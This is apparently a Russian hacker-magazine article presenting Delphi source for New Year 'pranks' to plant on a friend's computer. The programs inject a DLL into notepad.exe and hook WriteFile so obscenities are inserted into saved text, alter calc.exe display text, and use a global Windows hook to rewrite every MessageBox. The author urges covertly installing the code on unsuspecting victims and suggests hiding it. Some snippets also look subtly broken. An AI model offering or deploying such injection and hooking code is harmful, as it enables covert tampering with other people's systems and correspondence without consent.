До новогоднего праздника остались считанные дни, а ты так и не придумал, что подарить своим друзьям и подругам. Покупать что-то в магазине не прет - нет денег, да и все эти новогодние сувенирчики уже приелись. Посылать попсовые электронные открытки тоже без мазы - скукота, да и только. Сейчас я мигом решу твои проблемы. Мы создадим оригинальный подарок собственными руками. Во всяком случае, гарантирую, что при правильном применении твой сюрприз будут помнить как минимум год.
В Новый год можно все. Можно спалить видеокарту твоего друга под бой курантов, форматнуть винт во время речи Президента. Но мы не будем заниматься такими жесткими вещами. Наша с тобой задача - слегка потрепать нервы и повысить настроение друзьям. А для этого попытаемся написать новогодний набор сюрпризов, вытворяющих самые неожиданные вещи после запуска. Как ты помнишь, в прошлом номере я подробно описал работу программ по перехвату API методом сплайсинга, с помощью которого мы решили непростую задачу. Сегодня мы вновь используем эту технологию, чтобы написать пару-тройку оригинальных заподлянских штучек. Итак, поехали!
Великий и могучий...
Представь ситуацию: твой приятель, мегахакер, тайно влюблен в прекрасную герлу и пишет ей особенное новогоднее поздравление. Он превзошел сам себя и сочинил сентиментальное стихотворение, которое может согреть сердце даже памятнику на главной улице города. Поклонник надеется, что хотя бы в Новый год он получит внимание своей избранницы. Но как бы не так! Ведь ты горишь желанием отомстить ему за первоапрельский дефейс своего сайта :). Я тебе в этом немного помогу.
Сделаем небольшое техническое отступление, чтобы ты понял смысл наших с тобой действий. Всем известно, что бедняга notepad.exe вынес бессчетное количество пыток. Он, пожалуй, главная жертва всех экспериментов, связанных со сторонними программами, которые пишут все, кому не лень. Мы не будем выделяться из толпы, поэтому блокноту еще раз придется потерпеть. Суть нашей первой новогодней шутки будет заключаться в следующем: при сохранении текста в файл используется API-функция WriteFile; мы ее перехватим и изменим указатель на записываемые данные. По новому адресу будет лежать в целом оригинальный текст, но с небольшими отличиями - после каждой запятой наша программа вставит нецензурное слово из трех, четырех или пяти букв на выбор :).
А теперь рассмотрим возможные последствия такого прикола. После умелого впаривания тобой злостного кода твой ничего не подозревающий товарищ решается отправить поздравление на e-mail юной красавице. Предположим, что текст будет следующим:
Милая Леночка! Я очень хочу поздравить тебя с этим прекрасным праздником - Новым годом! Хочу пожелать тебе здоровья, счастья и успехов в наступающем году! И специально для тебя я сочинил этот, надеюсь, красивый стих!
Я хочу, чтоб на рассвете
Ледяного января
Ты сказала мне: «Приветик,
Милый, я люблю тебя!»
Еще раз поздравляю тебя с праздником, родная!
Пока я писал этот текст, по моей щеке катилась скупая мужская слеза - стало жалко парня, над которым мы собираемся постебаться :). Но что делать, жизнь - суровая штука. Поэтому идем за пивом, включаем мозг и пишем гениальную программу для укрощения блокнота.
|
Технику перехвата мы уже освоили в прошлом номере, поэтому сейчас нам надо определиться только с одним вопросом: «Откуда мы узнаем, что процесс notepad.exe запущен и мы сможем в него внедриться?» Есть вариант с инжектом во все процессы и перехватом функции ZwCreateProcess, но при таком способе от нашего прикола будет очень непросто избавиться, и это перерастет из простой забавы в настоящее вредительство для пользователя. Мы же - народ мирный, поэтому решаем пойти другим путем. Каждые n секунд будем искать окно с классом «Notepad» и, в случае успешного поиска, проверим, загружена ли наша библиотека в адресное пространство этого процесса. Если не загружена, то будем подгружать ее, а она в свою очередь сделает небольшую пакость :).
Вот так будет выглядеть код проекта, следящего за процессом (полный исходник ты можешь взять на диске
к журналу):
var
hWnd, PID, pHandle:dword;
//Функция для проверки наличия модуля main.dll
//в адресном пространстве чужого процесса.
function IsModuleLoaded(lpPID: dword): boolean;
var
hSnapshot: dword;
Module: TMODULEENTRY32;
begin
Result := TRUE;
Module.dwSize := sizeof(MODULEENTRY32);
hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,lpPID);
Module32First(hSnapshot, Module);
repeat
if pos('main.dll', Module.szModule) > 0 then begin
Result := FALSE;
exit;
end;
until not Module32Next(hSnapshot, Module);
end;
begin
while TRUE do begin
//Запущен ли блокнот?
hWnd := FindWindow('Notepad', nil);
if hWnd <> 0 then begin
//Запущен. Получаем PID процесса.
GetWindowThreadProcessId(hWnd, PID);
//Включаем нужные привилегии, может не понадобиться, но если в системе
//недостаточно прав, то нужно вызывать.
EnableDebugPrivilegeEx(INVALID_HANDLE_VALUE);
pHandle := OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
//Модуль main.dll уже загружен в адресное пространство процесса?
if IsModuleLoaded(PID) then
//Нет? Значит, инжектим его.
InjectDll(pHandle, pChar(extractfilepath(paramstr(0)) + '\main.dll'));
end;
Sleep(3000);
end;
end.
Вот, как видишь, программа каждые 3 секунды ищет запущенный notepad.exe, проверяет в нем наличие модуля main.dll и, если таковой отсутствует, инжектирует его в процесс. Далее привожу самое интересное место main.dll (весь код лежит на диске):
Заподлянская функция замены
function NWriteFile (hFile: THandle;
const Buffer; nNumberOfBytesToWrite: DWORD; var lpNumberOfBytesWritten: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
begin
asm
pushad
end;
NewBuffer := StringReplace(pChar(@Buffer), ',' , ', б#я', [ rfReplaceAll, rfIgnoreCase ]); // Формируем новую строку
asm // Подмена указателя
mov ebx, [NewBuffer]
mov Buffer, ebx
popad
end;
TWriteFile(hFile, Buffer, length(pChar(@Buffer)), lpNumberOfBytesWritten, lpOverlapped);
end;
Ну вот, с первым новогодним подарочком мы определились. Настало время представить последствия такого западла. Я знаю, это трудно, но поставь себя на место юной красавицы Леночки, которая январским утром (поверь, она не будет сидеть за компом в новогоднюю ночь :)) проверила свою почту и нашла в аттаче наше замечательное поздравление. Будь я Леночкой, убил бы за такое :).
А теперь на полном серьезе рассмотрим технические недостатки нашей шутки. Во-первых, если жертва напишет поздравление непосредственно в почтовике или в web-интерфейсе mail-сервиса, замены не произойдет. Во-вторых, я намерено не стал скрывать главного окна как этой, так и последующих программ. Я не троянмейкер, а если ты на свой страх и риск все же хочешь «полноценных» приколов, то модернизировать мой код - как 2 байта переслать. Теорию я тебе расписал, а на практику у тебя есть как минимум 10 дней. Поэтому дерзай :).
К чертям математику...
Что такое Новый год? Помимо елки, подарков, шампанского и Деда Мороза, это лишние затраты на подарки и организацию поляны :). Как правило, все финансы считаются, не отходя от компа, а конкретно - на самом обычном калькуляторе. Интересно, как изменится в лице твой товарищ, когда при подсчете затрат увидит в числовом поле калькулятора какую-нибудь фразу. Например, такую: «Уважаемый, ИМЯ_КОМПЬЮТЕРА! Калькулятор просит Вас зарегистрировать Windows». Или такую: «Все расходы на Новый год спонсирует Microsoft». На первый взгляд это может показаться немного банально, но никто не мешает тебе придумать свою более оригинальную строку :). Можно намутить чего-нибудь с названием кнопочек и прочего, но это не имеет отношения к перехвату API, который мы здесь решили использовать. Впрочем, руки я тебе не связываю - доработать прогу ты можешь всегда. А пока я расскажу о реализации вышеупомянутого прикола.
|
Мониторить наличие процесса calc.exe мы будем так же, как и в случае с блокнотом. Для этого в исходнике проекта, следящего за процессом, надо изменить всего лишь одну строку:
hWnd := FindWindow('SciCalc', nil);
main.dll тоже надо немного подкорректировать, функцию
перехвата - переписать, она будет совсем простой:
end;
function NSetWindowTextW (hWnd: HWND; lpString: PWideChar): BOOL; stdcall;
begin
asm
pushad
end;
TSetWindowTextW(GetParent(hWnd), lpString);
asm
popad
end;
TSetWindowTextW(hWnd, NewBuffer);
Используемый для заполнения NewBuffer код должен быть исполнен однократно, поэтому его можно поместить в процедуру DLLEntryPoint, событие
DLL_PROCESS_ATTACH:
dwSize := sizeof(UserName);
GetUserName(UserName, dwSize);
NewString := 'Уважаемый ' + UserName + ', пожалуйста, зарегай Windows!!!';
NewBuffer := GetMemory(Length(NewString) * SizeOf(WideChar) + 1);
StringToWideChar(NewString, NewBuffer, Length(NewString) + 1);
FreeMemory(NewBuffer);
Один взмах пера, и очередной прикол готов :). Ты теперь можешь глумиться не только над блокнотом, но и над калькулятором. Настало время покорить вообще всю винду товарища. Вперед, к приключениям :)!
Новый год везде...
Пора завязывать с этими детскими играми. Скажем так, это была разминка. Теперь, чтобы праздничная обстановка была прочувствована сполна, распространимся по всей системе глобально. Что мы можем для этого сделать? Подумав минут 5, я решил далеко не ходить и сделать простой перехват всех функций MessageBox в системе, модифицируя текст сообщения таким образом:
[Оригинальный текст сообщения]
С Новым годом, отморозок!!!
Вот и все. Сообщения в системе выползают довольно часто, поэтому твой приятель (или неприятель) действительно сможет ощутить приближение праздника :).
Перейдем к кодингу. С какими трудностями мы столкнемся? В первую очередь, это инжект во все программы. В принципе, перебрать все процессы и проинжектить туда dll труда не составит, но как же быть с вновь созданными процессами? Можно поставить глобальный перехват функций создания процесса, но это сложно и неспортивно. Есть более элегантное решение, которое основано на использовании Windows-хуков. Предположим, что в событии DLL_PROCESS_ATTACH мы установим хук на какое-нибудь сообщение, например WH_GETMESSAGE. И любая программа, которая имеет хоть одно окно (эй, баклан, он сказал «имеет», гы-гы), обязательно это сообщение будет использовать, а значит и наша dll будет подгружена в адресное пространство всех «оконных» процессов. Но самое главное, что, пока хук не снят, dll будет подгружаться со всеми вновь созданными процессами, имеющими окно. Другими словами, наш прикол будет работать вплоть до перезагрузки. Еще одна проблема в том, что функций MessageBox фактически две (с индексом A и W; первые в качестве параметров используют ANSI-строки, вторые - UNICODE), так что перехватывать надо две функции, а не одну.
|
Что ж, поехали! Для начала я приведу код лоадера, который будет начинать работу нашей
dll.
program Loader;
uses
Windows;
begin
LoadLibrary('main.dll');
Sleep(INFINITE);
end.
Приведенный код, я думаю, в комментариях не нуждается. Теперь давай подробно разберем код main.dll - он довольно здорово преобразился:
procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH:
begin
SetGlobalHook();
HookProc('user32.dll', 'MessageBoxA', @NMessageBoxA, @TMessageBoxA);
HookProc('user32.dll', 'MessageBoxW', @NMessageBoxW, @TMessageBoxW);
UnicodeText := 'Happy New Year!!!';
end;
DLL_PROCESS_DETACH:
begin
UnhookCode(@TMessageBoxA);
UnhookCode(@TMessageBoxW);
end;
end;
end;
Как видишь, перехват устанавливается на две функции. Непонятной остается лишь функция SetGlobalHook. Собственно, эта функция и устанавливает хук (ее исходник ты можешь найти на DVD). Любой человек? хоть немного знающий, что такое хуки, прекрасно поймет, что здесь происходит.
Теперь рассмотрим процедуру перехвата MessageBoxA. Тут все до безобразия просто:
function NMessageBoxA (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
begin
asm
pushad
end;
NewTextA := 'С Новым годом, отморозок!!!' + #13#10#13#10 + lpText + #13#10#13#10 + 'С Новым годом, отморозок!!!';
asm
popad
end;
TMessageBoxA(hWnd, pChar(NewTextA), lpCaption, uType);
end;
Как видишь, в коде выделяется новый буфер и передается вместо старого оригинальной функции. Функция перехвата MessageBoxW будет выглядеть иначе в силу того, что работа с UNICODE-строками происходит по-другому.
function NMessageBoxW (hWnd: HWND; lpText, lpCaption: PWideChar; uType: UINT): Integer; stdcall;
begin
asm
pushad
end;
NewTextW := GetMemory((lstrlenw(UnicodeText) + lstrlenw(lpText)) * SizeOf(WideChar) + 20);
lstrcpyW(NewTextW, UnicodeText);
lstrcatW(NewTextW, #10#13#10#13);
lstrcatW(NewTextW, lpText);
lstrcatW(NewTextW, #10#13#10#13);
lstrcatW(NewTextW, UnicodeText);
asm
popad
end;
TMessageBoxW(hWnd, NewTextW, lpCaption, uType);
FreeMemory(NewTextW);
end;
Обрати внимание, что память, которую мы выделили под новый буфер, после использования необходимо освободить. Этим занимается функция FreeMemory. В противном случае произойдет утечка памяти, которая приведет к нехорошим последствиям. Формирование буфера с новым текстом тоже идет по-другому - с использованием специальных функций для UNICODE. В остальном все идентично случаю с
MessageBoxA.
И это все?!
Нет, это не все :). На этом движение нашей заподлянской мысли не останавливается. Чтобы быть полностью удовлетворенным, предлагаю тебе в качестве домашнего задания написать программу-замену всех процессов оригинальными именами (snow.exe, santaclaus.exe), интерактивный заменитель печатаемых букв или генератор неприличных обоев на рабочем столе :). Мыслей много, однако рамки статьи не позволяют подробно описать все приколы, родившиеся в моей шальной голове :). Поэтому передаю компилятор в твои жилистые руки. Дерзай, товарищ. И, конечно, счастливого Нового года!
|